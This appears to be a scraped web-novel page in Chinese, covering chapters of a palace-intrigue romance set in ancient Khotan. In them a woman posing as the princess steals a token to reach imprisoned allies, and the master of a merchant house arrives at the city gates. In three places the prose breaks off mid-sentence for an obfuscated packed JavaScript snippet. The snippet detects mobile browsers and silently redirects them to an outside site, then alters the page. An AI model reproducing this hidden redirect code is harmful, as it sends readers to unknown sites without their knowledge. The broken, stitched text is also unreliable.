“原来是她?”阿祇若有所思。 米耶提过她的阿秭想去找心上人,她当初想着自己很快会离开于阗,又不想让秭妹俩有欠她人情的压力,所以以专心训练为由,并没有再见她们,所以阿依那认不出自己,应是情有可原。 宋繇曾说过,阿嬷值得信任,阿依那出现在蓝毗尼宫,却是十分可疑。 阿嬷见阿依那离开后,忙小声道:“老奴昨日接到密信,入宫前来照应阿祇。” 阿祇赶忙扶起她,“家主怎知我在蓝毗尼宫?” 阿嬷道:“主子救下了阿依夏木公主。” 老天有眼,至少她们有一个人安全了。 阿祇想知道外面的情形,阿嬷没有让她失望,带来了这两日的消息,“拂云殿前夜遇袭,传说是征西军攻来了。于阗王和王后不知生死,‘公主’受到惊吓,如今王宫封禁,大祭司主持内务,贵人们被软禁查找内奸,诺伊都尉掌握了城中兵马,开城门迎狯胡人入了城,联盟抵抗征西军。”信息量有点大,阿祇总觉得哪里不对。 “王宫封禁,阿嬷是怎么进来蓝毗尼宫的?” “今日,老奴忽然得了大祭司的允许,被宣入宫。” 这时,阿嬷发现她肩膀缠着纱布,紧张地说:“阿祇,你受伤了?” “小伤,不妨事。”阿祇现在思绪纷乱。 公主的寝殿目前是禁地,除了大祭司,阿嬷是唯一知道她并非阿依夏木的人。那么,她心中有个疑问:“阿依那,她也是玄玉阁的人吗?”阿嬷摇头,“老奴不知,老奴只听说,米耶求了家主,她要离开玄玉阁,陪你远走大漠,报恩。” 李暠确实提到过,会有人带着努尔接应自己,看来是米耶,阿祇心中一暖。 阿嬷接着道:“阴女不吉不好生养,嫁人难,入得宫侍候贵人难上加难,阿依那……不该出现在这里。”她边说边小心查看阿祇的伤势,幸好已无大碍,道:“外面现在乱得很,蓝毗尼宫被封也是好事。” 蓝毗尼被封,肯定不是一件简单的事。 阿祇不由猜想:“阿依那是沮渠蒙逊的人,可能知道我是假公主,也可能不知道。” 阿嬷身为官采司女官,入宫不是难事,她曾受过玄玉阁的恩惠,所以暗中训练阿祇作为采女的技巧和规矩,但知晓她与玄玉阁关系的人少之又少,沮渠蒙逊让她入宫就是认定阿嬷不会对自己不利,然,阿嬷不知道大祭司是假冒的,难道,沮渠蒙逊早与玄玉阁联了盟?不对,沮渠蒙逊知晓夜袭的事,那他必与诺伊也有联系,玄玉阁与诺伊之间却立场不同,李暠是支持于阗王的才对。“大祭司”掌管了王宫,沮渠蒙逊究竟与谁站在一起? 等等,她知道哪里不对了,是真正的大祭司!真正的大祭司身在何处?是何立场? 为什么沮渠蒙逊毫无阻力地成了大祭司? “阿祇,你没事吧?” 阿嬷见她的样子开始担心起来。 突然,阿祇想起拂云殿的大火,追问阿嬷:“狯胡兵马入了城,宋掌事他们呢?” “那晚宋掌事在拂云殿,也和贵人们一起被囚禁在王宫北苑。” “公主在蓝毗尼宫几日未露面,就无人问津吗?” “刺杀先王的内应尚未抓到,大祭司下令,公主是储君,需要静养保护以防再有不幸。” 阿嬷慎重看了这宫殿,公主寝殿在蓝毗尼宫深处,记忆中原是最华美的宫殿,往来侍女络绎,到处有英俊强壮的勇士护卫,然而眼下气氛诡异,毫无生气,她想起一件骇人听闻的事,想了想,还是决定告知阿祇。 “昨夜之间,蓝毗尼宫的侍女护卫皆被刺瞎了双眼。” 阿祇大惊,后背冒出冷汗,想起昨天沮渠蒙逊的戏言:“让王宫里的人眼睛都变瞎”竟一语成谶。 努尔见到主人的手不住颤抖,它主动上前用头拱拱她,见阿祇一言不发,阿嬷以为她被吓到了,懊悔不该多嘴。努尔伸长舌头汪汪叫了几声,似乎在像主人表达它的安慰,阿祇脸色苍白地说:“进了这公主殿,怕就出不去了。” 她看了看阿嬷和努尔,她必须让她们离开这里。 于阗宫变内幕重重,成败得失都是要流血的。 阿嬷安慰道:“你是家主要保护的人,也就是老奴要守护的人,老奴在和田城活了半辈子,也不能看着这里毁于一旦。”阿祇拉过阿嬷略显粗糙的双手,过于宽大的骨节,显出这双手主人受过的艰辛。玄玉阁收留了很多像阿嬷这样老无所依的人,这是宋繇带她走访和田城的产业时,阿祇才知道,玄玉阁这么多年收留了很多在大漠无依的人,比如小林、米耶,还有她自己。聚沙成塔,不局种族的融合成就了玄玉阁的屹立。 阿祇想起尚无下落的宋繇等人,计上心来。 她问道:“阿嬷,你可知道王宫的布局?” 阿嬷不知她的意思,点了点头。 阿祇让她帮忙端来矮桌和茶水,对阿嬷道:“用手指沾水在桌子上画给我,待明日大祭司给我换药,我想办法偷他的令牌,去北苑一探。” 阿嬷担心道:“王宫大门由诺伊都尉的亲信把守,没有出宫令,靠近即诛杀,北苑也有将士把守,闲杂人等一律不得进出。” 阿祇冷哼:“这重重王宫,只有蓝毗尼宫貌似最松懈,确实连个人影都不见,我倒是想亲自去看看,是不是只有我们这里灯下黑。” 阿嬷刚才带狗入宫,引得小小风波,她不放心阿祇单独行动,阿祇覆上她的手,堵住她的拒绝,安抚道:“守望相助,必能逢难化吉。” 阿嬷手指沾水,开始在桌子上绘制王宫的路线布局。 阿祇过目不忘,方向感也不错,很快心中默记起,王宫西北边缘一个小院,昔日下人们住的偏房,正是北苑。拂云殿伤亡不知,来自各国的贵族商贾,大概就在此处关押,阿祇心里计算着时间,一个时辰来回,再一个时辰不可计,沮渠蒙逊的立场可疑,还是瞒着他好。 “大祭司明日辰时来换药,阿嬷记得提前准备一套宫女的衣服给我。” “你的伤势……” “王宫伤药极好,上了药,至少一个时辰感不到疼痛。” 阿嬷还是有些犹豫,“万一被大祭司发现,令牌不见了……” 时间紧迫,阿祇自信道:“大祭司不会难为我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717872|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>努尔不明所以地看着主人,歪了歪头,阿祇眼神好像在算计着什么,对它道:“努尔,乖,明天还需要你的帮忙。” …………………………………………………… 天一亮,大祭司准时来到公主寝殿。 阿祇表现得十分配合,检查伤口,换药和包扎,一句多余的话和反抗都没有。屋子里只有她们两个人,阿祇躺在床上脸色仍有些苍白,看着收拾药箱的面具人,似乎不经意地提起,“外面的人呢?” 沮渠蒙逊稳稳地收好药瓶,道:“怕吵到你。” 阿祇想起那个传闻,“你没做什么蠢事吧?” 沮渠蒙逊没说话。阿祇忍不住求证:“蓝毗尼宫那么多人的眼睛,是你让人弄瞎的?” 面具下的人冷冰冰地回道:“你身边总归需要人,难道你想让我将他们都灭口?” 沮渠蒙逊的眼睛很好看,冰冷的眸子有点灰色瞳孔,现在这样子,又让人想起初见时他的狠戾冷酷,在一千多年前的魏晋时代,人命如草芥。 沮渠蒙逊对她难得的顺从,略微怔忡,然后俯下身将重量压到她身上,锐利的下颚和薄唇在她的脸上方,冰冷的面具触碰到她的肌肤,有些刺骨。阿祇忍不住偏头,又停了一瞬,对上眼前半张宽目鎏金青铜面具,他摘下面具,四目相对。阿祇知道女人最后的筹码是什么,可是她并不想让这筹码一文不值。 当沮渠蒙逊手指勾上她的发丝,缠绕在手指上,终于说出那句:“跟我一起,做我的女人……” 阿祇表情没有羞涩和惊慌,扭过脸,莫名地想起两人的偶遇。 “佛塔下的两尊佛,你还记得吗?” 沮渠蒙逊紧紧盯着她,“不要拒绝我。” 她缓缓道:“为佛,有十方世界的执念,为人,也有一世百年的注定,众生际遇相隔万里,你有你要做的事,我亦有我要走的路。”沮渠蒙逊假冒于阗大祭司,必有他的道理。正如她所言,他有他要背负的责任,眼下不是适合说服她的时机,他有耐心,却不想有遗憾。 他靠近她,“纵然相隔万里,祖慕祇不信,你我有缘?” 他用眼神描摹她的脸庞,女子额间的朱砂优昙花钿,如带着魔力,吸引他靠近。撇开脸,阿祇错过呼吸可闻的人的靠近,沮渠蒙逊掰过她的下巴,直视她的双眼,声音缱绻:“不要拒绝我,等一切结束后,跟我走。” 阿祇冷静地回答:“如果一起,为什么不是你跟我走?而是我跟你走?” 沮渠蒙逊微微一愣,猜到这个女人可能会拒绝自己,但没想到会是这样的要求,他嘴角的笑意进入了眼中。手指划过她的脸颊,祖慕祇的脸感受到手指的冰冷,忍不住用力一推,压迫感减轻,衣摆飘动间那人顺势拉开了两人的距离,重新戴上面具,看不出喜怒。可他心情不错,道:“跟你走,也无不可。” 两人对峙,无声中沮渠蒙逊弯唇一笑,衣袖轻扬,潇洒转身离去。这是什么意思?祖慕祇不懂,不过不重要。她嘴角一翘,手掌打开,一枚玉牌摊在掌心。刚才她处心积虑地与沮渠蒙逊周旋,为的正是偷这个小东西,刚在他靠近自己的时候,那一下推攘,简直是神来一笔,顺手牵羊。 一盏茶后,外伤药效开始奏效。 阿祇身体得到短暂麻痹,疼痛消失八分。她汲水洗了把脸,换好蓝色宫女服饰,长发随意编成辫子,阿嬷为她绑上银色的额饰,遮住额间的朱砂,为掩盖几日养出来的娇嫩,在脸上施了暗黄的粉,眼窝处铺上阴影,加上雀斑,眉毛加粗,感谢二十一世纪的化妆术,看上去还真有几分西域女子的轮廓。 万事俱备,她给站在门边的阿嬷使了个眼色。 阿嬷袖口一送,将昨晚抓到的小老鼠悄悄一丢,松绑在院中菩提树下的努尔,看到小老鼠眼神一亮,瞬间挣脱绳子,狂奔而去。 27. 刺探 “汪汪汪……”一声犬吠,努尔飞一般如影而逝。 阿依那从外间跑进来,差点被狗撞个正着,人在屏风外被阿嬷拦下,急喊着:“快拦下它。” 显然,阿依那没有反应过来,蓝毗尼宫内如今只有她们两个贴身伺候,不过有了阿嬷,她连近身照顾公主的机会都不多,被阿嬷喊去追狗。她瞧了一眼屏风内躺着的人影,大祭司每次上完药,由于嗜睡副作用,“公主”习惯再睡一个时辰,犹豫着道:“大祭司不许我离开公主半步。” “公主伤重不能动,有我伺候,你是想努尔把宫里所有的人都引来?还是让我这把老骨头去追那畜生?”阿嬷曾是阿依那的采女教习,训话不怒自威。努尔的破坏力曾在别院得到过印证,“狗拿耗子”的高光时刻,从别院的1.0升级,成蓝毗尼宫2.0,外面已经传来人仰马翻的动静。 大祭司尚且睁一只眼闭一只眼,阿依那只好屈膝,然后追了出去。 人才离开,阿嬷赶忙走入屏风后,“阿祇,快,一个时辰内一定要回来。” 阿祇掀开被子,打开窗,爬上窗外的大树,回头对她说:“放心!我去去就回。” 蓝毗尼宫不大,护卫和杂役都瞎了眼睛,被赶到蓝毗尼外院。 这里被大祭司封锁了出入,宫外乱作一团,墙内却安静无比,俨然成了冷宫禁地。阿祇藏在菩提树冠里观察了四周,路线已熟记于心,她小心落地,练习过于阗侍女的步伐,从轻快到小跑,很快混在殿外刚刚走过的侍女身后。 于阗女子皮肤略白,阿祇扑了粉盖住额间朱砂,故意画粗眉毛、加深眼窝,只要不怼脸分辨,几乎看不出她长相的差异,宫女服饰为短衫裤裙,她为了掩饰肩伤,特意穿得是围脖的粉色长袖春衫,只有嫩白的脚趾踏着麻织鞋子,行走灵动飘逸。 出门向西,绕过长着一排红柳的宫墙,穿过一扇拱门,眼前是座花园,这里是连接各宫各殿的中心,按照记忆中的路线,西北方有一条长廊,走过去的拐角就是膳房。 那边人声已经传了过来,到了送饭的时辰。 宫变之后,王宫里已换上了新面孔。 王宫里本来主子就少,如今侍女们还被裁掉了大半,被软禁的贵人们困在北苑,只要有耐心就能混入送饭的侍女中,她们大多是新入宫的粗实宫女,胆小沉默,躲在葡萄架后的阿祇等待时机,没料到,后脑勺凑过一颗脑袋,突然不高不低用胡语问:“你在看什么?” 被吓了一跳的阿祇,转头一看。 头发滴着汗的高大男人在她身后,眼神像狩猎的猎人般盯着她,不同于精致的于阗贵族打扮,这人身材高大,五官深刻,有麦色的肤色,铠甲随意搭着,显然是位刚刚晨练过的狯胡将领。 祖慕祇躲在墙角,也自觉可疑,赶紧垂眼双手行礼,摆出卑微的姿态,用不熟练的胡语道:“我,奴婢在看膳房。” 虽然经过刻意的妆扮,但她仍有汉人的口音。男人审视她几眼,换作汉文:“新来的?” 侍女貌似胆小,垂着头,点了点。 “没吃饱饭?” 小侍女继续点头。 于阗人种混杂,混血并不鲜见,阿祇扯起谎来十分淡定,怯懦的眼神看了他一眼,忙又垂下,小声道:“奴婢是蓝毗尼宫的侍女,犯了宫规,想来找点吃的。” 高大男人靠近一步,她后退一步,“于阗公主,对你们不好?” 小侍女这次垂着头,没点。 鼻中闻到似有似无的血腥味,男人不由又往前凑近了一点,这时,膳房有人拿着食盒陆续从长廊走来,向四面八方送餐而去,被食物吸引了注意力,男人看到阿祇面纱外的双眼流露出渴望。 “贵人若没有吩咐,奴婢退下了。” 别说什么男女有别,谁能理解一下时间概念的急迫性! “呃……公主,喜欢什么?” 她想说:公主喜欢,你立即消失!! 实际说出来的却是:“奴婢,不知。” 阿祇见膳房的人路过,再懒得和这人纠缠,行了个礼就要跑,男人猛地伸出手拉住她的左臂,不小心扯到了她的肩伤,阿祇动作一僵幸好没流血,疼痛并未袭来,默默给沮渠蒙逊的金疮药点了个赞,但仍然紧张得皱眉。 男人粗糙的手抬起她的下巴,阿祇那张略带美工风的化妆术映入眼帘,配上她委屈的表情,还挺……特别的。胡人有点想笑,嘴上凶巴巴的:“你躲什么?本,本人,又不吃人。” 西域的汉女宫女大多是被买来的奴隶,挨打受罚是家常便饭,遇到有不良癖好的主子,境遇就更加凄惨,阿祇吃痛的眼神,男人想起自己的阿妈,同样是汉女,同样楚楚可怜的眼神。他心软了,手下力道减轻,腹诽:蓝毗尼宫的那位,看来真如传闻那般刁蛮。 小宫女又低下头不说话了,多余的求饶都没有。 他难得多管闲事一次:“诶……你不是饿了吗?” 他拦下一个膳房出来提着食盒的侍女,掀开盖子,正要拿吃的东西,阿祇见时机来了,拎起裙角从男人手臂下钻了出去,拔腿就跑,情急之下就容易嘴瓢:“多谢壮士,饭我自己偷。”站在原地的男人嘴角一抽,从贵人到壮士,心情有点复杂,目送小侍女飞奔的脚步,“原来是个傻的。” 饭,果然是偷的香。 男人从食盒顺手拿了串葡萄,扔进嘴里一粒,将小侍女抛在脑后。 膳房内,新来的宫人没有规矩,乱哄哄的。膳房的厨娘忙碌又胆小,只把准备好的吃食随便放在桌上,挂上各宫的牌子,由侍者自行领取,不受重视的宫殿,错过了也没人管,比如北苑,不知是有意无意,成了没人愿意去的地方。 站在宫女们身后,阿祇看到边上的两个盒子,孤独地被丢在角落,挂着一片木牍,写着“北苑”二字。她悄悄蹭过去,提起食盒就要走,后面有人突然喊:“站住。” 阿祇慢吞吞回头,厨娘见是个生面孔,“不懂规矩?” 阿祇忙拉过裙摆,将腰带上挂着的玉牌给她看,厨娘不耐地道:“上次送去北苑的食盒,记得拿回来,也别再问有没有酒,喏……瓦罐,自己装水去。” “是。”阿祇应合了一声。 她拎起瓦罐去水缸舀水,然后将水罐像其他人那样顶在头顶,拎起食盒向门口走去,好在这里离北苑不远,她没看到,身后厨娘对她纤瘦身板表现出的力量的赞许眼神。其实,她伤口隐隐作痛,看来北苑的人境遇好不到哪去,昔日坐上宾,如今阶下囚,连伺候吃食都被推三堵四。 好不容易快到了,隔着院墙听到有人吵闹。 北苑原是下人们的住处,如今三排里外住满了人。 一个尖锐的男声摇着木门大喊:“我是疏勒二王子,这个馕归我!” 每年参加诺鲁孜节的贵族们很多,今年由于吕光大军讨伐,漠北的战乱频发,小国皆降,逃窜到于阗的人比往年都多,别说商贾,连各国逃亡来的王子贵族,都落了个行刺的嫌疑。 真是人在大漠漂,祸从天上降。 门口,一个胖胖的大胡子挤走他,“阿扎提,昨天回鹘的那个公主,到现在还没回来,怎滴?你也想被‘特殊照顾’?” 阿扎提淬了一口,“于阗王被刺跟本王子有什么关系?我看你才可疑。” 胖胡子好心当成驴肝肺,一脚踢在阿扎提的屁股上,阿扎提摔倒在地。院子里瞬间推攘起来,吓得几个女眷缩在偏房中,不敢出来。 人群后的树下坐着两个年轻人,冷冷看着搅起的内乱,天青色锦袍的男子用胳膊肘,碰了碰身边人,“宋繇,是时候了吗?” 俊美的华服少年抬头,穿过树叶望向天空,紧抿着发干的薄唇,摇了摇头。 李瑾最看不惯他这副装腔作势的样子,昨日起就断了信鸽,外面不知道什么情况,他有些坐不住,宋繇按住了他,“于阗王遇刺,是我们低估了局势,如今敌暗我明,暂且稍安勿躁吧。” 李瑾看了眼四周,小声道:“要不然,我想办法逃出去。” “该做的我们已经做了,按计划行事。” 李瑾再怎么鄙视宋繇,却也不再多说什么了,李氏这些年快速崛起的原因之一,就是年轻子弟被训练出同心协力的大局观。冷静之后,他突然问:“阿祇走了?” 宋繇看了他一眼,“嗯,总比留在这里安全。” 他说的没错,李瑾颓废地靠树坐着,庆幸还好阿祇不在这里。玄玉阁表面风光无限,其实内在艰辛和危机,他们这些跟家主的人最有体会。 一个意想不到的声音,忽从外面传来。 “我……我是来送饭。” 二人先是一愣,都从对方眼中看到了不可置信,赶紧奔了出去。 小院是土夯建造,门上了锁有两个守卫负责把守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14727279|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。随着女子话音传来,拂云殿的贵宾们陆续聚集到院子里,他们这几日担惊受怕地吃喝不济,身上值钱的东西被守卫搜罗了个精光,听到有送吃的来都立刻来了精神。外面,一个侍女正低垂着头,等待守卫对食盒的盘查,看到膳房的食令木牍,守卫解了锁。 小侍女此时戴着面纱,头顶着一个大水罐,将吃食放在院子的石桌上。 众人围过来,有人开始鄙夷抱怨起来:“又是这些粗陋的东西……” “不吃就让开!” 三日的折磨,昔日高高在上的贵族们,早有人在食物面前没了矜持,跟他们眼中的贱民一样,为了温饱一拥而上。阿祇乖巧地默默退到不起眼的地方,手臂忽的被一人拉,拽到墙角之后,出现在她眼前的,正是宋繇和李瑾二人。 李瑾拉着她的手,急吼吼问:“你怎么来了?” 阿祇见到他们眼睛一亮,面纱拉到下巴,李瑾一见她的妆容忍不住一笑。阿祇瞪了他一眼,就这傻笑,在谍战剧里李瑾必定是连累我党地下成员的炮灰一号。她压低声音:“幸好遇到你们,家主传信让你们不要轻举妄动。” 王宫戒备森严,消息只能靠阿嬷口传,二人见她无恙,欣喜点头。 抢饭人群吸引了墙外守卫的注意力,宋繇嘘了一声,三人贴在角落的阴影中,离得近,宋繇闻到一股药香压制下的血腥味,眉头一紧,“你受伤了?” 阿祇眼角一弯,轻轻摇头,“不打紧。” 宋繇浮上担忧的神色,李瑾更是紧张,上下打量阿祇,“伤在哪里,给我看看。” 祖慕指了指肩窝处,“你确定方便看?” 宋繇微微脸红,李瑾傻傻一笑,对付李四郎这样的人,说十句话不如让他尴尬闭嘴,效果立竿见影,她终于能抓紧时间说话了,从腰中探出一块令牌,道:“我现在住在公主殿冒充阿依夏木,别问原因,说来话长,阿嬷也在,我时间不多,这是出宫的令牌,过几天的大丧仪式上你们随机应变。” 一切按家主安排,宋繇接过令牌,深深看她了一眼。 “想办法脱身,去驿站找倪掌柜。” 阿祇嗯了一声,“放心。” 刚才还想逃走的李瑾,现在改变主意了,“你若出不了蓝毗尼,我就打进去接你。”药效即将过去,阿祇担心伤口渗血,拿出对付学弟的效率,“蓝毗尼宫已被封禁,我既然能逃出来北苑,就能再想办法出宫,咱们各自自求多福吧。” 李瑾感受到了她话里深深的讽刺,他李四郎能被小小北苑困住吗?还不是宋繇拦他,李瑾不死心地刚要分辩,被阿祇抛来一记眼刀,乖乖住了口。阿祇对他摊手,说:“把你们用过的食盒给我,现在我空手出去会引人怀疑。” “对,娘子机智。” 四郎附体的李瑾,手忙脚乱地去找昨日的食盒,宋繇看了不由皱起眉头,阿祇又从腰带中掏出一包粉末,悄悄塞给宋繇,“你身上有血腥味,这外伤药十分好用。” 宋繇没想到她看出了自己受了伤,接过药包,有些动容,“你……多加小心。” 阿祇点点头,“你也是。” 李瑾提着一个空食盒匆匆而至,交到阿祇手中,正要对“娘子”再撒娇几句,外面的人群中有人叫嚣起来,“饭根本不够吃,诶,那个小侍女呢?” 话音刚落,外面的守卫闯入院子,阿扎提立刻认怂地闭上嘴。 阿祇恰好拎着两个空食盒,低着头走向门口。 守卫对这些阶下囚大喊:“吵什么!都尉有令,嫌犯再敢闹事,杀无赦!” 众人立刻噤声,守卫突然转过头,“你,站住!” 阿祇头垂得更低了,吓得拎着东西转身,“在。” “打开!”守卫指着她手中的食盒。 阿祇乖乖放下,一一打开,“厨娘交代的,若拿不回空食盒,明天就不,不用送饭来了。” 她一说完,人群再次被激怒。 阿扎提凑了上来,方才他就没抢到多少吃食,忙从手指上退下戒指,塞进守卫手里,“大人们啊,再给点吃的吧,这些珍珠玛瑙都给你!” “滚开……” 他们一边骂骂咧咧,一边驱赶他。 李瑾瞥到阿祇趁乱开溜,他的“娘子”甚是机灵可爱,满眼是宜家宜室的心悦。 一旁的宋繇握紧手掌,掌中是被阿祇塞过来的药包,心里亦暖。 28. 入城 和田城美景更古不变,被河流湖水环抱的塞外古城清晨云雾缭绕,像蒙着头纱的少女,远处雪山瞭望可见的巍峨,出现一匹白骆驼。 白骆驼后面,跟着一辆马车。马车左右开了四望,车顶竖着帏幔,挂着朱红色的丝络,这样精美华丽的车架,虽看不清里面坐着何人,想来身份也是显贵至极。 两列三十六骑紧随其后,打着黑底白字的“玄”字旌旗迎风招展,这面沙漠畅通无阻的旗帜一出,城墙守卫立即引起骚动。“玄玉阁”是塞外最闻名遐迩的商队,势力遍布西域三十六国,属地敦煌在大秦境内,阁主风采无双手段了得,出现在和田城下,立刻引起注意。 官道上,依稀可见大军踩踏过的痕迹。白骆驼步履为先,马车吱吱呀呀地紧跟其后,停在城门前。城池洗涤了偷袭的痕迹,和田城封城三日,未有动静。 昨日,城中终于传出:于阗王薨,十日后大丧。 另外一个消息不胫而走:公主即将登基女王,并与狯胡王联姻。 怪不得狯胡大军已登堂入城,若传言为真,漠南局势,必会风起云涌。 吕纂的五千精兵,尚驻扎在三十里开外。狯胡与于阗的兵马加起来近四万,紧闭城门,与征西军对峙。半月前七十万联军围攻龟兹兵败的消息,早已传遍大漠南北,吕光仅凭一万大军守城,便将胡人们打得七零八落。龟兹的延城与于阗的和田城,作为都城,未必会有相同的命运,和田城坐山环水,易守难攻。 斗篷覆盖了男子面容,雪山皎月般的人无需露脸,清晰优美的下颚线条,彰显主人的俊美出尘的气质。三十六骑之首领白发男子出列,正是稷,他用于阗语朝城墙高喊:“玄玉阁李玄盛,请求入城。” 于阗国,数百年前为大月氏所建,盛世之时有三万两千户,养兵两万,如今不足八千。因其富奢近百年来常被吐谷浑和柔然攻袭,国势渐衰,连年向中原进贡求得庇护,不过五胡之乱后,中原战乱四起,无暇顾及西域,于阗与玄玉阁由于玉石买卖,逐渐建立了某种默契。 等了片刻,没有动静。 白骆驼超前踱了几步,倾城白衣之人用了胡语叫城:“在下玄玉阁,李暠,李玄盛。” 果然没过多久,城门开了。 尘烟中,有人骑马而出,高帽羽翎铠甲在身十分壮硕,他用胡语高喊:“吾乃狯胡王之弟喀龙,奉诺伊都尉之命,请玄玉阁主速速离去。” 喀龙右手有伤,如果阿祇在场,就会认出他正是当日俘获她的黑衣大汉。 稷遂以胡语对答:“于阗国,何时轮到一介都尉和外邦人做主?” 骑马的喀龙言语乖张:“诺伊都尉已被王后托孤摄政,狯胡与于阗两国联姻,你等不过商贾之流,也敢质疑?” 白骆驼的主人摘下斗篷,无双风华,“听闻于阗王薨逝,玄盛特来吊唁。” 来人正是玄玉阁之主,敦煌李暠,字玄盛。 一行人,加上车马仆役不过百,兵器多是随身短刃。 喀龙又喊:“都说了让你们快走,王后已下令封城。” 李暠手中取出一物,在日光中闪耀莹莹碧色,那一块通透上好美玉。人人皆知公主出生之时,于阗王亲自以最上等的和田玉雕刻“玉之公主”,以示尊贵,传闻公主数度以举国为妆求嫁玄郎君,都没有了下文,所以当王宫传出与狯胡联姻,全城皆惊。 “于阗王曾有言愿下嫁‘玉之公主’与玄,有玉为证,今于阗联姻狯胡,玄盛特来当面归还。” 喀龙脸色微变,“你是来和我王兄抢女人的?” 话一出口,立刻引得城墙上的于阗守卫偷笑,谁不知道他们玉之公主,往玄玉阁跑了几个年头,恨嫁举国皆知,若说抢人,也得讲个先来后到吧。 喀龙顿觉面上无光,忙又大喊:“马车之中,所坐何人?” 李暠不徐不急地回道:“玄盛之妻。” 一语惊起万重浪,玄玉阁阁主一年未见,什么时候成了亲? 既然是于阗国丧,李家主携妻来访,狯胡与于阗尚未联姻,没有拦截于阗贵宾的立场。玄盛对峙喀龙,道:“婚盟乃国家宗族大事,不如将军打开城门,让玄盛先祭奠先王,再当面与王后言明。” 喀龙无言,玄玉阁实力深不可测,狯胡大军势众却大伤元气,内忧外患,可别联姻未成,先撕破脸。于是,喀龙终于松了口:“你等着!” 他甩了缰绳,掉头向城中奔去。 僵持了没多一会儿,城中传出话:“马车必须接受检查。” 话未落,三十六骑长剑出鞘,气势如虹,他们皆是玄羽衣中挑选出的精兵,以一挡百,独眼白发稷护在马车前,有一夫当关之势,“汝敢!” 玄盛广袖无风自舞,通身透着让人不寒而栗的气势,只见他轻抬右手,一骑向空中发出鸣哨,几声回响后,远处忽然传来巨大的动静,城中都能感受到感受到震颤,城墙上的喀龙大骇,他背脊发凉,却维持着面上的镇静,“你们想……攻城么?” “和田城倚山而立,雪水汇集流入塞勒湖的河流可不止一条,玄玉阁不过照例为和田开兮水道,若吾妻不悦,玄不介意……纷总总兮开天门,云霜开路,飞踏五湖。”他想让连绵无尽的雪水淹没城中采玉湖泊吗?这样的护妻宣言,让喀龙觉得自己好像捅了马蜂窝,遇到个疯子。 谁知,剑拔弩张的时刻,马车中竟然伸出一只纤纤玉手,手指夹着一粒晶莹剔透的葡萄,递向玄盛。玄盛冷冽的气势瞬间化作绕指柔,他垂下头咬住那粒葡萄,黑发落在脸侧,哪里还有半点天神般的毁灭之意,只听一个柔和的女子声音:“乘清气兮御阴阳,妻甚喜。” 玄盛含笑,挥挥手,三十六骑收势。 这对中原夫妻,跑人家大门文绉绉地撒狗粮来啦。 喀龙冒汗,人家按住了和田城的命门,他哪里敢再挑衅玄玉阁,反正马车里不过是个女人,藏不了千军万马,他赶紧命令手下:“开城门。” ……………………………… 一骑白骆驼走在和田城的青石路上,身后一辆华丽马车,盔甲蒙面的三十六骑分列两侧。 于阗王宫有浓郁的佛教色彩,塔式建筑随处可见,塞勒湖镶嵌在层层建筑与山峦之间像一块绿松石,空灵剔透。然而,大火焚烧后的拂云殿坍塌成灰,李暠看到远处拂云殿,被烧毁的焦黑一片。往年此时,已是官采盛况,如今家家闭门不出,街上混着异族的兵力,哪有半点节日盛况。 玄盛对稷吩咐:“你护着夫人,先去别院。” “诺。”稷领命,带领三十六骑在分岔口与李暠分道扬镳,率领马车向玄玉阁别院的方向离去。李暠则骑着白骆驼,独自走向王宫。 “玄盛,你终于回来了。” 不远处,小步跑来一名肥胖老头,此人曾是于阗国官采的官吏,早年与李暠相识于微末,私交甚好,他一得到玄郎君的消息,便来王宫外守候。 李暠执手施礼,“库马尔大人,安好。” “玄郎君,安好……” 库马尔一边回礼,一边打量四周守卫,小声道:“里面怕是变天了。” 他们相携走在入城主道上,不少狯胡人和王城守卫朝他们投来眼神,库马尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745385|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责运送王宫的日常内需,身旁跟着几匹载货的骆驼,隔开了他们与其他行人的距离,光明正大的走在人群里“叙旧”。 库马尔走路有些笨拙,遇到持刀的守卫都会点头哈腰,跟在李暠身后的举动,像极了平时他巴结权贵的卑微模样,云泥之别说的怕就是这二人。 库马尔小声嘀咕:“采玉祭当晚火光冲天,飞进来的火流矢上有征西军的标志,王后晕厥,王宫被诺伊都尉和狯胡王控制。” 李暠牵着白骆驼走在街上,望着不远处的宫门,眼神晦暗幽深,“王上为何薨逝?” “诺伊都尉认定王上是被秦军刺客偷袭,玄玉阁乃中原人的产业,怕是明枪易躲,暗箭难防。” 库马尔不安地看了眼身边芝兰玉树的郎君,见他泰然自若的神情,才敢继续说:“宋掌事已然下狱,诺伊与大祭司正在调查拂云殿夜袭,怕是玄玉阁要被连累通敌之罪。” 吕纂的军队距和田城尚有三十余里,李暠想起前段时间吕纂丢失的粮草军械,怕是通敌的,另有其人。 